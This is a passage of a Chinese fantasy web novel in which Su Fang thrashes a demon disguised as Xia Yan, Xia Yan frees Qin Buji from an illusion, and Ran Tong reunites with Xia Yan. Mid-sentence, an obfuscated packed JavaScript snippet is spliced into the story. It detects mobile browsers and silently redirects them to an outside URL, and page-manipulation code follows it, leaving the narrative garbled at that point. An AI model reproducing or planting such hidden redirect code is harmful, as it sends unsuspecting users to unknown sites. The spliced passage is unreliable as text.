她见苏芳深深凝望那假夏炎,不禁百爪挠心,刚想提醒她提防,舌头嘴唇失去知觉,身体和神识也被定住了。 魔物暗中偷袭了她,向她抛来一抹得意的媚笑。 冉彤慌惶无措,焦急注视苏芳,盼望她能保持清醒。 魔物排除干扰,堂皇地走向苏芳。双目含情地望着她,温柔诱哄:“苏芳,我知道你想见我,这不就来了吗。你快笑一个给我看呀。” 他伸出右手,像要去爱抚她的脸庞,指尖即将触碰她的嘴唇时,一击铁拳正中他的面门,将五官打到凹陷下去。 别说他难以置信,冉彤也看呆了。 “你怎么……” 魔物捂住脸退后数丈,惊怒打量那表情比他更像魔鬼的女人,怀疑自己变得不够像,没达到迷惑效果,赶忙精雕细琢地再次变成夏炎的形容。 苏芳咬牙欲碎,握拳做响,怒冲冲叫骂:“老娘做梦都想揍扁姓夏的,正好先拿你这冒牌货练手!” 她恨夏炎入骨,也爱他到骨子里,爱恨相当,难下毒手。 此刻看到这一式一样的假货,恨意不受约束地爆发,咆哮着冲向魔物,用生平未曾动用的残暴拳法击打他。 她的双臂挥舞过快,幻化成一抹光团罩住魔物,转眼让他不成人形。 魔物狼狈躲避着,嘴被打没了还口齿不清地聒噪:“你是个有内涵的女人,不看重夏炎的外表。” “老娘最大的内涵就是专治贱人!” 苏芳杀红了眼,召唤夔牛助阵。 那电闪雷鸣的牛群将魔物团团围困,一浪接一浪地顶撞他。 魔物大惊,忙施法架起黑色护盾,可是很快便招架不住了,尖声咒骂道:“泼妇,怪不得会被夏炎抛弃,我让姐姐来教你如何温柔地服侍男人!” 这时夏炎和玉玲珑已对峙多时,依然难分胜负。 玉玲珑媚声劝诱:“夏炎,咱们好不容易重逢,不该浪费这来之不易的相聚时光。不如停手,让我用最销魂的享受来抚慰你这些年所受的煎熬。” 柔弱无骨的声音带着无上蛊惑力,蛇一般围着对方绕行。 夏炎毫不理睬,继续适时变换法术,攻守都无懈可击,不让敌人有一丝空子可钻。 玉玲珑渐觉焦躁,忽然心念一动,感应到来自同伴的求救信号。 “哼,算你走运,我要去处理紧急情况,先失陪了。” 她像一滴露水蒸发在火光中,魔植也集体消失了。 夏炎收了法术,火海退去,留下一片漆黑空旷的焦土。稍后空间犹如鱼鳞片片剥落,露出雾蒙蒙的山野,迷踪阵解除了。 他料想有人攻入了伏牛山,立刻动身追踪玉玲珑的气息。飞出不远,脑后生风,一道辛辣刺鼻的黑火破空袭来,到了近处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15077237|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼啦扩张成巨网状,树木还没挨着那喷射的火焰便焦枯焚化了。 他认出“三途烽燹”,推测来人是秦不羁,施法吹散黑火后,果见那莽汉怒吼着冲过来。 “鼠辈,敢耍老子!” 他凶神恶煞,两颗被血丝围绕的瞳仁犹如火焰里的煤球,情绪暴躁到了极点。 夏炎感应到他身上的魔气,看出他中了魔物的幻术,默念清心咒,食指对准他的眉心注入法力。 魔气根除,秦不羁立刻清醒,认出他以后直愣愣地瞪了一阵,虎脸唾骂:“你这老鬼真命大,怪不得都说讨人厌活得长。” 夏炎从没指望他们这些人能给自己好脸色,平静询问:“秦不羁,是白贤弟派你来的?” 秦不羁奚落:“你有什么资格叫我们君上‘贤弟’?法力衰退,脸皮倒越来越厚,也不想想自个儿配不配!” 夏炎换个问法:“谁和你一块儿来的?” 他想白子落不会让秦不羁孤身冒险,必定安排了帮手。 听说苏芳也来了,忙问:“冉彤呢?苏芳把她放哪儿了?” “冉丫头刚刚还跟我们在一起。” 答案竟与他的坏设想相符,冉彤不仅身陷险境,还失踪了。 他不禁埋怨:“此地极为凶险,你们带她来已是不该,为何还不看好她?” 秦不羁正为此焦虑,若非急着找冉彤,他也不会中敌人的幻术,恼怒反驳:“老子还想问你呢,你那么有能耐怎连一个孩子都守不住?冉丫头救了我们万岁的命,她要有个三长两短,老子跟你没完!” 夏炎不跟粗人论短长,马上调头追踪玉玲珑,想找她逼索冉彤的下落。 秦不羁知道他要去救人,赶忙跟随,沿路刻画标记以免迷路。 夏炎不回头地提醒:“没用的,整个伏牛山都被魔物炼化了,做再多标记也会被清除。” 秦不羁先前已领教过厉害,费解道:“离恨天勾结魔族还罢了,可玉玲珑那老娘们最是清高,怎会同魔物打交道?” “她被魔物寄生了。” “啥!?无情道的高手也会被魔物寄生?” 魔物通过情感和欲望操控人类,而无情道摒弃情感、理性至上、超脱世俗,做到这三点精神境界固若金汤,魔物岂能入侵? 夏炎估计玉玲珑先产生心魔才会被那八臂魔趁虚而入,这定是毗沙设计的阴谋,这老贼眼里人人都是棋子和炮灰,皆可利用、迫害、屠戮。 冉彤见魔物在苏芳的狂轰乱炸下毫无还手之力,那坐以待毙的狼狈情状让她拍手称快,已准备好为苏芳欢呼喝彩。 不料四周突然钻出无数体形倍于同类的大乌鸦,奋不畏死地冲向夔牛惊雷阵。漆黑的羽翼泛着不压闪电的强光,尖锐鸣叫宛如来自地狱的丧钟。 法阵中心爆发出猛烈的红光,光芒淹没一切后迅即消失,那魔物和鸦群都无迹可寻了。 苏芳没能拦截敌人,愤懑地收了法术。 冉彤忙奔向她,左眼余光忽然扫到一件插在泥土中的异物,是魔物的人骨琵琶。 她停步看向琵琶,琴头上的头骨猛然张嘴,以魔物的声音调戏她:“还没自我介绍呢,我叫魇月,小姑娘,你是我命定的姻缘,我还会来找你的。” 轻浮笑声余音袅袅地回荡在邪性的密林里,仿佛阴毒的瘴气。 冉彤又恨又怕,想砸烂琵琶又担心沾染魔气。 苏芳甩出电光击碎琵琶,叉腰詈斥:“离恨天的人肯跟魔物勾搭,真坏得流脓!” 冉彤走到她身边乖巧谢恩,苏芳发现她自行融合了魔气,瞅她片刻,提醒:“融合魔气后得多念几遍清心咒,谨防受反噬。” 冉彤忙捏决念咒,苏芳用神识搜寻秦不羁,山里的魔气有所淡退,这次成功与他建立了联系,即刻向他发送所在地的坐标。 光芒立现,驱散残留的雾气。 秦不羁欢呼跑来,冉彤惊见夏炎出现在他身后,登时愣住了。 分别不过十来天,却像积累了十几年的思念,热烈的情感像沸水冲刷心田,她顾不得多想,将行动交付给冲动,乳燕投林般奔向他。 夏炎也很惊喜,但没料到她会有此举动,本能地敞开双臂接受这冒失的冲撞。 冉彤顺势抱住他的腰,脸颊贴在他的胸骨上,那沉稳有力的心跳声给予她久违的安定,她深深呼吸熟悉的松香,如同迷路后历尽艰辛重 返家园的小松鼠,再也不愿离开。